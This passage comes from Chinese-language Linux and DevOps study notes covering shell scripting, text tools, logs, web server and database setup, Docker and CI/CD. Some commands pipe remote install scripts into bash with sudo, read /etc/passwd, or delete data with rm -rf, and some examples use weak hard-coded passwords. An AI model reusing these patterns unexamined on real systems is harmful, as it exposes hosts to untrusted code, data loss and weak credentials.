字符串比较:

[ "$a" = "$b" ]     # 相等
[ "$a" != "$b" ]    # 不等
[ -z "$a" ]         # 空字符串
[ -n "$a" ]         # 非空字符串

数值比较:

[ $a -eq $b ]       # 等于
[ $a -ne $b ]       # 不等于
[ $a -gt $b ]       # 大于
[ $a -lt $b ]       # 小于
[ $a -ge $b ]       # 大于等于
[ $a -le $b ]       # 小于等于

逻辑运算:

[ $a -gt 0 ] && [ $a -lt 10 ]    # 与
[ $a -eq 0 ] || [ $a -eq 1 ]     # 或
[ ! $a -eq 0 ]                   # 非

81. Shell 循环

定义: 循环用于重复执行代码块。

for 循环:

# 基本for
for i in 1 2 3; do
    echo $i
done

# 范围
for i in {1..10}; do
    echo $i
done

# C风格
for ((i=0; i<10; i++)); do
    echo $i
done

# 遍历文件
for file in *.txt; do
    echo $file
done

while 循环:

count=0
while [ $count -lt 10 ]; do
    echo $count
    ((count++))
done

# 读取文件
while read line; do
    echo $line
done < file.txt

until 循环:

count=0
until [ $count -ge 10 ]; do
    echo $count
    ((count++))
done

82. Shell 函数

定义: 函数是可重复使用的代码块。

# 定义函数
function_name() {
    echo "Hello $1"
    return 0
}

# 调用函数
function_name "World"

# 带返回值
add() {
    echo $(($1 + $2))
}
result=$(add 3 5)
echo $result

83. Shell 参数

定义: Shell 参数是传递给脚本或函数的值。

#!/bin/bash
echo "脚本名: $0"
echo "第一个参数: $1"
echo "第二个参数: $2"
echo "所有参数: $@"
echo "参数个数: $#"

shift 命令: 将参数向左移动

while [ $# -gt 0 ]; do
    echo $1
    shift
done

84. Shell 运算符

定义: Shell 支持多种运算符用于数值计算。

算术运算:

expr 5 + 3                    # 使用expr
echo $((5 + 3))               # 使用$(( ))
echo $[5 + 3]                 # 使用$[ ]
let "a=5+3"                   # 使用let

常用运算符:

  • + 加法
  • - 减法
  • * 乘法
  • / 除法
  • % 取模
  • ** 幂运算

85. Shell 字符串处理

定义: Shell 提供多种方式处理字符串。

str="Hello World"

# 长度
echo ${#str}

# 截取
echo ${str:0:5}           # Hello
echo ${str:6}             # World

# 替换
echo ${str/World/Bash}    # Hello Bash
echo ${str//l/L}          # HeLLo Bash(全部替换)

# 删除
echo ${str#Hello}         #  World(删除前缀)
echo ${str%World}         # Hello (删除后缀)

# 大小写转换
echo ${str^^}             # HELLO WORLD(大写)
echo ${str,,}             # hello world(小写)

86. Shell 数组

定义: Shell 数组是存储多个值的变量。

# 定义数组
arr=(apple banana cherry)

# 访问元素
echo ${arr[0]}            # apple
echo ${arr[@]}            # 所有元素
echo ${#arr[@]}           # 数组长度

# 添加元素
arr+=(date)

# 删除元素
unset arr[1]

# 遍历
for item in ${arr[@]}; do
    echo $item
done

87. Shell 重定向

定义: 重定向用于改变命令的输入输出流向。

# 标准输出重定向
command > file.txt          # 覆盖输出
command >> file.txt         # 追加输出

# 标准错误重定向
command 2> error.txt        # 错误输出到文件

# 重定向标准输出和错误
command > file.txt 2>&1     # 全部输出到文件
command &> file.txt         # 简写(Bash)

# 标准输入重定向
command < file.txt          # 从文件读取输入
command << EOF              # here document
line 1
line 2
EOF

# /dev/null(黑洞)
command > /dev/null 2>&1    # 丢弃所有输出

文件描述符:

  • 0:标准输入(stdin)
  • 1:标准输出(stdout)
  • 2:标准错误(stderr)

88. Shell 管道

定义: 管道 | 将前一个命令的输出作为后一个命令的输入。

ls -l | grep ".txt"         # 查找txt文件
cat file.txt | wc -l        # 统计行数
ps aux | grep nginx | wc -l # 统计nginx进程数
cat file.txt | sort | uniq  # 排序并去重

最佳实践: 管道可以连接多个命令,形成数据处理流水线。


89. Shell 通配符

定义: 通配符用于模式匹配文件名。

*           # 匹配任意字符(0或多个)
?           # 匹配单个字符
[abc]       # 匹配a、b或c
[a-z]       # 匹配a到z
[0-9]       # 匹配0到9
!pattern    # 不匹配

示例:

ls *.txt                    # 所有txt文件
ls file?.txt                # file1.txt, file2.txt等
ls [abc]*.txt               # 以a、b或c开头的txt文件

90. Shell 正则表达式

定义: 正则表达式是用于模式匹配的字符串模式。

基本正则:

.           # 任意字符
*           # 前一个字符0次或多次
^           # 行首
$           # 行尾
[]          # 字符集
[^]         # 否定字符集
\           # 转义

扩展正则(需使用 -E 或 \):

+           # 前一个字符1次或多次
?           # 前一个字符0次或1次
|           # 或
()          # 分组
{}          # 重复次数

91-92. crontab 与定时任务

定义: crontab 用于设置周期性执行的任务。

使用:

crontab -l                    # 查看定时任务
crontab -e                    # 编辑定时任务
crontab -r                    # 删除所有定时任务

格式:

分 时 日 月 周 命令

示例:

# 每天凌晨2点执行
0 2 * * * /path/to/script.sh

# 每5分钟执行
*/5 * * * * /path/to/script.sh

# 每周一9点执行
0 9 * * 1 /path/to/script.sh

# 每月1号执行
0 0 1 * * /path/to/script.sh

特殊字符串:

@reboot     # 启动时
@yearly     # 每年
@monthly    # 每月
@weekly     # 每周
@daily      # 每天
@hourly     # 每小时

六、常用工具(grep、awk、sed)

93. grep - 文本搜索

定义: grep (Global Regular Expression Print) 用于在文件中搜索匹配的行。

grep "pattern" file.txt                   # 搜索
grep -i "pattern" file.txt                # 不区分大小写
grep -n "pattern" file.txt                # 显示行号
grep -v "pattern" file.txt                # 反向匹配(不包含)
grep -r "pattern" /path/                  # 递归搜索
grep -c "pattern" file.txt                # 统计匹配行数
grep -l "pattern" *.txt                   # 显示匹配的文件名
grep -E "pattern" file.txt                # 使用扩展正则

94. grep 正则表达式

定义: grep 支持基本正则和扩展正则表达式。

基本正则:

grep "^start" file.txt              # 以start开头
grep "end$" file.txt                # 以end结尾
grep "[0-9]" file.txt               # 匹配数字
grep "[A-Z]" file.txt               # 匹配大写字母

扩展正则(-E 或 egrep):

grep -E "pattern1|pattern2" file.txt    # 或
grep -E "colou?r" file.txt              # 0次或1次
grep -E "ab+c" file.txt                 # 1次或多次
grep -E "(ab)+" file.txt                # 分组

95. awk - 文本处理工具

定义: awk 是强大的文本处理工具,按行处理结构化数据。

基本用法:

awk '{print $1}' file.txt                   # 打印第一列
awk '{print $1, $3}' file.txt               # 打印第1、3列
awk -F: '{print $1}' /etc/passwd            # 指定分隔符
awk '/pattern/ {print $0}' file.txt         # 匹配模式
awk 'NR==1 {print}' file.txt                # 打印第一行
awk 'END {print NR}' file.txt               # 打印总行数
awk '{sum+=$1} END {print sum}' file.txt    # 求和

内置变量:

  • $0:整行
  • $1, $2...:各列
  • NR:行号
  • NF:列数
  • FS:输入分隔符
  • OFS:输出分隔符

96. awk 文本处理

定义: awk 支持复杂的文本处理逻辑。

# 条件处理
awk '$3 > 100 {print $1, $3}' file.txt

# 格式化输出
awk '{printf "%-10s %5d\n", $1, $2}' file.txt

# 数组统计
awk '{count[$1]++} END {for (k in count) print k, count[k]}' file.txt

# 多文件处理
awk '{print FILENAME, $0}' file1.txt file2.txt

97. sed - 流编辑器

定义: sed (Stream EDitor) 用于对文本进行流式编辑。

基本用法:

sed 's/old/new/g' file.txt              # 替换所有
sed 's/old/new/' file.txt               # 只替换每行第一个
sed '2s/old/new/' file.txt              # 只替换第2行
sed '/pattern/s/old/new/' file.txt      # 匹配模式的行替换
sed -i 's/old/new/g' file.txt           # 直接修改文件

98. sed 文本替换

定义: sed 最常用于文本替换。

# 删除行
sed '3d' file.txt                       # 删除第3行
sed '/pattern/d' file.txt               # 删除匹配的行
sed '1,5d' file.txt                     # 删除1-5行

# 插入行
sed '3i\new line' file.txt              # 在第3行前插入
sed '3a\new line' file.txt              # 在第3行后追加

# 多行操作
sed -n '2,5p' file.txt                  # 打印2-5行

99. cut - 提取列

定义: cut 命令用于提取文本的指定列。

cut -d: -f1 /etc/passwd                 # 以:分隔,取第1列
cut -d: -f1,3 /etc/passwd               # 取第1、3列
cut -c1-5 file.txt                      # 取第1-5个字符
cut -f2-4 file.txt                      # 取第2-4列(默认Tab分隔)

100. sort - 排序

定义: sort 命令用于对文本行排序。

sort file.txt                           # 默认按字母排序
sort -n file.txt                        # 按数值排序
sort -r file.txt                        # 逆序
sort -u file.txt                        # 去重
sort -k2 file.txt                       # 按第2列排序
sort -t: -k3 -n /etc/passwd             # 以:分隔,按第3列数值排序

101. uniq - 去重

定义: uniq 命令用于去除相邻的重复行。

uniq file.txt                           # 去重(需先排序)
sort file.txt | uniq                    # 排序后去重
sort file.txt | uniq -c                 # 统计重复次数
sort file.txt | uniq -d                 # 只显示重复行
sort file.txt | uniq -u                 # 只显示不重复的行

102. wc - 统计

定义: wc (word count) 命令用于统计行数、词数、字节数。

wc file.txt                             # 行数、词数、字节数
wc -l file.txt                          # 只统计行数
wc -w file.txt                          # 只统计词数
wc -c file.txt                          # 只统计字节数
wc -m file.txt                          # 只统计字符数

103. diff - 比较文件

定义: diff 命令用于比较两个文件的差异。

diff file1.txt file2.txt                # 比较文件
diff -u file1.txt file2.txt             # 统一格式输出
diff -r dir1/ dir2/                     # 递归比较目录
diff -y file1.txt file2.txt             # 并排显示差异

104. patch - 应用补丁

定义: patch 命令用于将 diff 生成的补丁应用到文件。

diff -u file1.txt file2.txt > patch.diff    # 生成补丁
patch file1.txt < patch.diff                # 应用补丁
patch -p1 < patch.diff                      # 应用补丁(去除路径前缀)

105. tr - 转换字符

定义: tr (translate) 命令用于转换或删除字符。

echo "hello" | tr 'a-z' 'A-Z'           # 转大写
echo "HELLO" | tr 'A-Z' 'a-z'           # 转小写
echo "hello" | tr -d 'l'                # 删除字符l
echo "hello" | tr -s 'l'                # 压缩重复字符
tr '\n' ',' < file.txt                  # 换行符替换为逗号

106. xargs - 构建命令行

定义: xargs 命令从标准输入构建并执行命令行。

find . -name "*.txt" | xargs rm         # 查找并删除
find . -name "*.txt" | xargs -I {} mv {} /dest/   # 逐个处理
cat files.txt | xargs -n 2              # 每行2个参数
cat files.txt | xargs -I {} echo "File: {}"       # 替换参数

常用参数:

  • -n:每行参数个数
  • -I:替换字符串
  • -d:分隔符
  • -p:执行前提示

七、日志查看与分析

107. 日志

定义: Linux 日志是系统和服务运行过程中记录的事件信息。

日志级别:

  • DEBUG:调试信息
  • INFO:一般信息
  • WARNING:警告
  • ERROR:错误
  • CRITICAL:严重错误

108. 日志查看

定义: 日志查看是使用工具查看和分析日志文件。

tail -f /var/log/syslog                 # 实时查看
less /var/log/syslog                    # 分页查看
grep "error" /var/log/syslog            # 搜索错误
journalctl -f                           # 实时查看系统日志

109. /var/log

定义: /var/log 是 Linux 系统日志的标准存储目录。

常见日志文件:

/var/log/syslog         # 系统日志(Debian/Ubuntu)
/var/log/messages       # 系统日志(CentOS/RHEL)
/var/log/auth.log       # 认证日志
/var/log/kern.log       # 内核日志
/var/log/dpkg.log       # 包管理日志
/var/log/nginx/         # Nginx日志
/var/log/mysql/         # MySQL日志
/var/log/boot.log       # 启动日志
/var/log/cron           # 定时任务日志

110. journalctl - 系统日志管理

定义: journalctl 是 systemd 系统的日志查看工具。

journalctl                              # 查看所有日志
journalctl -u nginx                     # 查看特定服务日志
journalctl -f                           # 实时查看
journalctl --since "2024-03-01"         # 查看指定时间后
journalctl --until "2024-03-15"         # 查看指定时间前
journalctl -p err                       # 查看错误级别
journalctl -xe                          # 详细输出
journalctl --disk-usage                 # 查看日志占用
journalctl --vacuum-time=2d             # 清理2天前的日志

111. syslog - 系统日志服务

定义: syslog 是 Linux 的系统日志服务。

配置文件: /etc/syslog.conf/etc/rsyslog.conf

日志设施:

  • auth:认证相关
  • authpriv:特权认证
  • cron:定时任务
  • daemon:守护进程
  • kern:内核
  • mail:邮件
  • user:用户程序

112. dmesg - 内核日志

定义: dmesg 命令用于查看内核环形缓冲区消息。

dmesg                                   # 查看所有内核日志
dmesg | tail                            # 查看最新内核日志
dmesg -T                                # 显示人类可读时间
dmesg | grep -i error                   # 搜索错误
dmesg | grep -i usb                     # 查看USB设备信息

113. last - 登录历史

定义: last 命令用于查看用户登录历史记录。

last                                    # 查看所有登录记录
last username                           # 查看特定用户
last -10                                # 查看最近10条
last reboot                             # 查看重启记录

114. lastb - 失败登录记录

定义: lastb 命令用于查看登录失败的记录。

lastb                                   # 查看所有失败登录
lastb username                          # 查看特定用户失败记录

注意: 需要 root 权限才能查看。


115. who - 查看当前登录用户

定义: who 命令用于查看当前登录的用户信息。

who                                     # 查看当前登录用户
who -u                                  # 显示详细信息
who am i                                # 查看当前终端用户

116. w - 用户活动信息

定义: w 命令用于查看当前登录用户及其活动。

w                                       # 查看用户活动
w username                              # 查看特定用户

输出: 显示用户名、终端、登录时间、空闲时间、当前命令。


117. 日志分析

定义: 日志分析是从日志中提取有用信息的过程。

常用工具:

# 统计访问量
awk '{print $1}' access.log | sort | uniq -c | sort -rn

# 查看错误
grep "ERROR" app.log | tail -20

# 查看特定时间段
sed -n '/2024-03-01 10:00/,/2024-03-01 11:00/p' app.log

# 统计状态码
awk '{print $9}' access.log | sort | uniq -c | sort -rn

# 查找慢请求
awk '$NF > 1 {print}' access.log

118-119. 日志轮转与 logrotate

定义: 日志轮转是定期归档、压缩和删除旧日志的机制。

logrotate 配置:

# 配置文件
/etc/logrotate.conf                     # 主配置
/etc/logrotate.d/                       # 服务配置目录

示例配置:

/var/log/nginx/*.log {
    daily                               # 每天轮转
    missingok                           # 日志不存在不报错
    rotate 7                            # 保留7个备份
    compress                            # 压缩旧日志
    delaycompress                       # 延迟压缩(上一次不压缩)
    notifempty                          # 空文件不轮转
    create 0644 www-data www-data       # 创建新文件的权限
    sharedscripts                       # 只执行一次postrotate
    postrotate
        systemctl reload nginx
    endscript
}

手动执行:

logrotate /etc/logrotate.conf           # 执行轮转
logrotate -d /etc/logrotate.conf        # 调试模式
logrotate -f /etc/logrotate.conf        # 强制执行

八、服务器部署

120. 服务器部署

定义: 服务器部署是将应用程序安装、配置到服务器上并使其可访问的过程。

部署流程:

  1. 安装运行环境(Node.js、Python、Java 等)
  2. 安装 Web 服务器(Nginx、Apache)
  3. 安装数据库(MySQL、PostgreSQL)
  4. 配置反向代理
  5. 配置 SSL 证书
  6. 配置防火墙
  7. 启动服务
  8. 监控和维护

121. Nginx 安装

Ubuntu/Debian:

sudo apt update
sudo apt install nginx
sudo systemctl start nginx
sudo systemctl enable nginx

CentOS/RHEL:

sudo yum install epel-release
sudo yum install nginx
sudo systemctl start nginx
sudo systemctl enable nginx

122. Nginx 配置

配置文件:

/etc/nginx/nginx.conf                   # 主配置
/etc/nginx/sites-available/             # 站点配置
/etc/nginx/sites-enabled/               # 启用的站点

基本配置:

server {
    listen 80;
    server_name example.com;
    root /var/www/html;
    index index.html;

    location / {
        try_files $uri $uri/ =404;
    }

    location /api {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

常用命令:

nginx -t                                # 测试配置
systemctl reload nginx                  # 重载配置
systemctl restart nginx                 # 重启服务

123. Apache 安装

Ubuntu/Debian:

sudo apt update
sudo apt install apache2
sudo systemctl start apache2
sudo systemctl enable apache2

CentOS/RHEL:

sudo yum install httpd
sudo systemctl start httpd
sudo systemctl enable httpd

124. Apache 配置

配置文件:

/etc/apache2/apache2.conf               # 主配置(Ubuntu)
/etc/httpd/conf/httpd.conf              # 主配置(CentOS)
/etc/apache2/sites-available/           # 站点配置(Ubuntu)

基本配置:

<VirtualHost *:80>
    ServerName example.com
    DocumentRoot /var/www/html
    
    <Directory /var/www/html>
        AllowOverride All
        Require all granted
    </Directory>
    
    ProxyPass /api http://localhost:3000
    ProxyPassReverse /api http://localhost:3000
</VirtualHost>

常用命令:

apachectl configtest                    # 测试配置
systemctl reload apache2                # 重载配置
a2ensite site.conf                      # 启用站点(Ubuntu)
a2dissite site.conf                     # 禁用站点(Ubuntu)
a2enmod proxy                           # 启用模块(Ubuntu)

125. MySQL 安装

Ubuntu/Debian:

sudo apt update
sudo apt install mysql-server
sudo systemctl start mysql
sudo systemctl enable mysql
sudo mysql_secure_installation          # 安全配置

CentOS/RHEL:

sudo yum install mysql-server
sudo systemctl start mysqld
sudo systemctl enable mysqld

126. MySQL 配置

配置文件:

/etc/mysql/mysql.conf.d/mysqld.cnf      # Ubuntu
/etc/my.cnf                             # CentOS

常用命令:

mysql -u root -p                        # 登录MySQL
SHOW DATABASES;                         # 显示数据库
CREATE DATABASE mydb;                   # 创建数据库
CREATE USER 'user'@'localhost' IDENTIFIED BY 'password';  # 创建用户
GRANT ALL PRIVILEGES ON mydb.* TO 'user'@'localhost';     # 授权
FLUSH PRIVILEGES;                       # 刷新权限

127. Node.js 安装

使用 NVM(推荐):

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
nvm install --lts
nvm use --lts

使用包管理器:

# Ubuntu
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt install nodejs

# CentOS
curl -fsSL https://rpm.nodesource.com/setup_lts.x | sudo bash -
sudo yum install nodejs

验证安装:

node -v                                 # 查看版本
npm -v                                  # 查看npm版本

128. PM2 部署

定义: PM2 是 Node.js 进程管理器。

npm install -g pm2                      # 安装
pm2 start app.js                        # 启动应用
pm2 start app.js -i max                 # 集群模式(最大进程数)
pm2 list                                # 列出进程
pm2 stop app                            # 停止
pm2 restart app                         # 重启
pm2 delete app                          # 删除
pm2 logs                                # 查看日志
pm2 monit                               # 监控
pm2 startup                             # 设置开机自启
pm2 save                                # 保存当前进程列表

** ecosystem 配置:**

module.exports = {
  apps: [{
    name: 'myapp',
    script: 'app.js',
    instances: 'max',
    exec_mode: 'cluster',
    env: {
      NODE_ENV: 'production',
      PORT: 3000
    }
  }]
};
pm2 start ecosystem.config.js           # 使用配置启动

129. 反向代理

定义: 反向代理是位于客户端和服务器之间的代理服务器,转发客户端请求到后端服务器。

Nginx 配置:

server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

优势:

  • 负载均衡
  • SSL 终止
  • 缓存
  • 安全防护
  • 隐藏后端服务器

130. 负载均衡

定义: 负载均衡是将流量分配到多个后端服务器。

Nginx 配置:

upstream backend {
    server 192.168.1.10:3000;
    server 192.168.1.11:3000;
    server 192.168.1.12:3000;
}

server {
    listen 80;
    location / {
        proxy_pass http://backend;
    }
}

负载均衡策略:

  • round-robin:轮询(默认)
  • least_conn:最少连接
  • ip_hash:按 IP 哈希
  • weight:权重
upstream backend {
    server 192.168.1.10:3000 weight=3;
    server 192.168.1.11:3000 weight=1;
    least_conn;
}

131. SSL 证书

定义: SSL 证书用于加密网络通信。

获取证书(Let's Encrypt):

sudo apt install certbot python3-certbot-nginx
sudo certbot --nginx -d example.com -d www.example.com

证书文件:

  • .crt.pem:证书文件
  • .key:私钥文件

132. HTTPS 配置

Nginx HTTPS 配置:

server {
    listen 443 ssl;
    server_name example.com;

    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;

    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    location / {
        proxy_pass http://localhost:3000;
    }
}

# HTTP重定向到HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

九、Docker 基础

133-134. Docker 是什么?

定义: Docker 是一个开源的容器化平台,用于开发、交付和运行应用程序。

原理: Docker 使用 Linux 内核特性(cgroups、namespaces)实现资源隔离和限制,使应用及其依赖打包成独立的容器。

核心概念:

  • 镜像(Image):只读模板,包含应用和依赖
  • 容器(Container):镜像的运行实例
  • Dockerfile:构建镜像的脚本
  • 仓库(Registry):存储和分发镜像
  • 数据卷(Volume):持久化数据

优势:

  • 环境一致性
  • 快速部署
  • 资源隔离
  • 轻量级(共享主机内核)
  • 易于扩展

135. Docker 安装

Ubuntu/Debian:

sudo apt update
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER           # 添加用户到docker组

CentOS/RHEL:

sudo yum install docker
sudo systemctl start docker
sudo systemctl enable docker

验证安装:

docker --version
docker run hello-world

136. Docker 镜像

定义: Docker 镜像是只读模板,包含运行应用所需的所有内容。

docker images                           # 列出镜像
docker pull nginx                       # 下载镜像
docker pull nginx:latest                # 指定标签
docker rmi nginx                        # 删除镜像
docker rmi -f nginx                     # 强制删除
docker tag nginx mynginx:1.0            # 标记镜像
docker save nginx -o nginx.tar          # 导出镜像
docker load -i nginx.tar                # 导入镜像
docker history nginx                    # 查看镜像历史

137. Docker 容器

定义: 容器是镜像的运行实例,包含运行中的应用。

docker ps                               # 查看运行中的容器
docker ps -a                            # 查看所有容器
docker run -d --name mynginx nginx      # 启动容器
docker stop mynginx                     # 停止容器
docker start mynginx                    # 启动已停止的容器
docker restart mynginx                  # 重启容器
docker rm mynginx                       # 删除容器
docker rm -f mynginx                    # 强制删除运行中的容器
docker logs mynginx                     # 查看日志
docker logs -f mynginx                  # 实时查看日志
docker exec -it mynginx bash            # 进入容器
docker inspect mynginx                  # 查看容器详情
docker top mynginx                      # 查看容器进程
docker stats                            # 查看资源使用

138. docker pull

定义: docker pull 用于从仓库下载镜像。

docker pull nginx                       # 下载latest标签
docker pull nginx:1.21                  # 下载指定标签
docker pull ubuntu:20.04                # 下载Ubuntu 20.04

139. docker run

定义: docker run 用于从镜像启动容器。

docker run nginx                        # 基本运行
docker run -d nginx                     # 后台运行
docker run -d --name web nginx          # 指定名称
docker run -d -p 8080:80 nginx          # 端口映射
docker run -d -v /data:/var/www nginx   # 挂载数据卷
docker run -d -e MYSQL_ROOT_PASSWORD=123 mysql  # 设置环境变量
docker run -it ubuntu bash              # 交互式运行
docker run --restart=always nginx       # 自动重启

常用参数:

  • -d:后台运行
  • -p:端口映射(主机:容器)
  • -v:挂载卷
  • -e:环境变量
  • --name:容器名称
  • -it:交互式终端
  • --restart:重启策略

140. docker ps

定义: docker ps 用于列出容器。

docker ps                               # 运行中的容器
docker ps -a                            # 所有容器
docker ps -l                            # 最近一个容器
docker ps -q                            # 只显示ID
docker ps --filter "status=exited"      # 过滤已退出容器

141. docker stop

定义: docker stop 用于优雅停止容器。

docker stop container_id                # 停止容器(默认10秒超时)
docker stop -t 30 container_id          # 30秒后停止
docker stop $(docker ps -q)             # 停止所有容器

142. docker rm

定义: docker rm 用于删除容器。

docker rm container_id                  # 删除已停止的容器
docker rm -f container_id               # 强制删除运行中的容器
docker rm $(docker ps -aq)              # 删除所有容器
docker rm $(docker ps -f "status=exited" -q)    # 删除已退出容器

143. docker rmi

定义: docker rmi 用于删除镜像。

docker rmi image_id                     # 删除镜像
docker rmi -f image_id                  # 强制删除
docker rmi $(docker images -q)          # 删除所有镜像
docker image prune                      # 清理无用镜像
docker image prune -a                   # 清理所有未使用镜像

144. docker build

定义: docker build 用于从 Dockerfile 构建镜像。

docker build -t myapp:1.0 .             # 构建镜像
docker build -t myapp:1.0 -f Dockerfile.prod .    # 指定Dockerfile
docker build --no-cache -t myapp:1.0 .  # 不使用缓存

145. Dockerfile

定义: Dockerfile 是构建 Docker 镜像的脚本文件。

示例:

FROM node:18-alpine                     # 基础镜像
WORKDIR /app                            # 工作目录
COPY package*.json ./                   # 复制依赖文件
RUN npm install                         # 安装依赖
COPY . .                                # 复制应用代码
EXPOSE 3000                             # 暴露端口
CMD ["node", "app.js"]                  # 启动命令

常用指令:

  • FROM:基础镜像
  • WORKDIR:工作目录
  • COPY:复制文件
  • ADD:复制文件(支持URL和自动解压)
  • RUN:执行命令
  • EXPOSE:暴露端口
  • ENV:环境变量
  • CMD:默认命令
  • ENTRYPOINT:入口点
  • VOLUME:数据卷
  • USER:用户

146. docker-compose

定义: docker-compose 用于定义和运行多容器 Docker 应用。

docker-compose.yml:

version: '3.8'
services:
  web:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
    depends_on:
      - db
  db:
    image: mysql:8
    environment:
      - MYSQL_ROOT_PASSWORD=123456
    volumes:
      - db_data:/var/lib/mysql
volumes:
  db_data:

常用命令:

docker-compose up                       # 启动服务
docker-compose up -d                    # 后台启动
docker-compose down                     # 停止并删除
docker-compose logs                     # 查看日志
docker-compose ps                       # 查看状态
docker-compose build                    # 构建服务
docker-compose restart                  # 重启服务

147. Docker 网络

定义: Docker 网络用于容器之间的通信。

网络模式:

  • bridge:默认网络,容器通过虚拟网桥通信
  • host:使用主机网络
  • none:无网络
  • overlay:跨主机网络
docker network ls                       # 列出网络
docker network create mynet             # 创建网络
docker run -d --network mynet nginx     # 使用自定义网络
docker network inspect mynet            # 查看网络详情

容器通信:

docker run -d --name web --network mynet nginx
docker run -d --name api --network mynet myapi
# 容器可以通过名称互相访问

148. Docker 数据卷

定义: Docker 数据卷用于持久化容器数据。

docker volume ls                        # 列出卷
docker volume create mydata             # 创建卷
docker run -d -v mydata:/data nginx     # 挂载卷
docker run -d -v /host/path:/container/path nginx  # 绑定挂载
docker volume inspect mydata            # 查看卷详情
docker volume rm mydata                 # 删除卷

数据持久化方式:

  • 数据卷(Volume):Docker 管理,存储在 /var/lib/docker/volumes/
  • 绑定挂载(Bind Mount):指定主机路径
  • tmpfs 挂载:存储在内存中

149. Docker 常用命令

# 镜像
docker images                           # 列出镜像
docker pull nginx                       # 下载镜像
docker push myimage                     # 推送镜像
docker rmi myimage                      # 删除镜像
docker build -t myimage .               # 构建镜像

# 容器
docker ps                               # 列出容器
docker run -d nginx                     # 运行容器
docker stop/start/restart container     # 停止/启动/重启
docker rm container                     # 删除容器
docker logs container                   # 查看日志
docker exec -it container bash          # 进入容器

# 清理
docker system df                        # 查看磁盘使用
docker system prune                     # 清理无用资源
docker image prune                      # 清理无用镜像
docker container prune                  # 清理已停止容器

十、CI/CD 流程

150. CI/CD

定义: CI/CD 是持续集成(Continuous Integration)和持续交付/部署(Continuous Delivery/Deployment)的缩写。

核心概念:

  • 持续集成(CI):频繁地将代码集成到主干,每次集成都通过自动化构建和测试验证
  • 持续交付(CD):确保代码可以随时安全地发布到生产环境
  • 持续部署(CD):自动化将通过测试的代码部署到生产环境

优势:

  • 快速发现和修复问题
  • 减少集成问题
  • 提高交付速度
  • 降低发布风险
  • 自动化重复任务

151. 持续集成

定义: 持续集成是开发人员频繁地将代码合并到共享仓库,并通过自动化构建和测试验证。

流程:

  1. 开发人员提交代码到版本控制
  2. CI 系统检测到代码变更
  3. 自动拉取最新代码
  4. 自动构建项目
  5. 运行自动化测试
  6. 生成测试报告
  7. 通知构建结果

工具: Jenkins、GitLab CI、GitHub Actions、Travis CI、CircleCI


152. 持续部署

定义: 持续部署是通过自动化流程将通过测试的代码部署到生产环境。

流程:

  1. 代码通过 CI 测试
  2. 自动部署到测试环境
  3. 运行集成测试
  4. 自动部署到生产环境
  5. 监控和回滚机制

最佳实践:

  • 自动化所有测试
  • 使用基础设施即代码
  • 蓝绿部署或金丝雀发布
  • 监控和告警
  • 快速回滚机制

153. Jenkins

定义: Jenkins 是开源的自动化服务器,支持 CI/CD。

特点:

  • 开源免费
  • 丰富的插件生态
  • 支持多种语言
  • 分布式构建
  • Pipeline as Code

Pipeline 示例:

pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                sh 'npm install'
                sh 'npm run build'
            }
        }
        stage('Test') {
            steps {
                sh 'npm test'
            }
        }
        stage('Deploy') {
            steps {
                sh 'scp -r dist/ user@server:/var/www/'
            }
        }
    }
}

154. GitLab CI

定义: GitLab CI 是 GitLab 内置的 CI/CD 工具。

配置文件:.gitlab-ci.yml

stages:
  - build
  - test
  - deploy

build:
  stage: build
  script:
    - npm install
    - npm run build

test:
  stage: test
  script:
    - npm test

deploy:
  stage: deploy
  script:
    - scp -r dist/ user@server:/var/www/
  only:
    - main

155. GitHub Actions

定义: GitHub Actions 是 GitHub 提供的 CI/CD 服务。

配置文件:.github/workflows/ci.yml

name: CI
on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: '18'
      - run: npm install
      - run: npm run build
      - run: npm test

156. Travis CI

定义: Travis CI 是基于云的 CI 服务。

配置文件:.travis.yml

language: node_js
node_js:
  - "18"
install:
  - npm install
script:
  - npm run build
  - npm test

157. CircleCI

定义: CircleCI 是基于云的 CI/CD 平台。

配置文件:.circleci/config.yml

version: 2.1
jobs:
  build:
    docker:
      - image: node:18
    steps:
      - checkout
      - run: npm install
      - run: npm run build
      - run: npm test

158. 自动化部署

定义: 自动化部署是通过脚本和工具自动将应用部署到服务器。

部署策略:

  • 蓝绿部署:同时运行两个环境,切换流量
  • 金丝雀发布:逐步将流量引导到新版本
  • 滚动更新:逐台服务器更新
  • 原地更新:直接在现有环境更新

Shell 脚本示例:

#!/bin/bash
APP_DIR="/var/www/myapp"
BACKUP_DIR="/var/www/backup"

# 备份当前版本
cp -r $APP_DIR $BACKUP_DIR/backup-$(date +%Y%m%d)

# 拉取最新代码
cd $APP_DIR
git pull origin main

# 安装依赖
npm install --production

# 构建
npm run build

# 重启服务
pm2 restart myapp

# 验证
curl -s http://localhost:3000/health | grep "ok"
if [ $? -ne 0 ]; then
    echo "Deployment failed, rolling back..."
    rm -rf $APP_DIR
    cp -r $BACKUP_DIR/backup-* $APP_DIR
    pm2 restart myapp
fi

159. 自动化测试

定义: 自动化测试是通过脚本自动运行测试用例。

测试类型:

  • 单元测试:测试单个函数/模块
  • 集成测试:测试模块间的交互
  • 端到端测试:测试完整用户流程
  • 性能测试:测试系统性能

CI/CD 中的测试:

# GitHub Actions 示例
- name: Run tests
  run: |
    npm run test:unit
    npm run test:integration
    npm run test:e2e

160. 构建流水线

定义: 构建流水线是 CI/CD 中的一系列自动化步骤。

典型流水线:

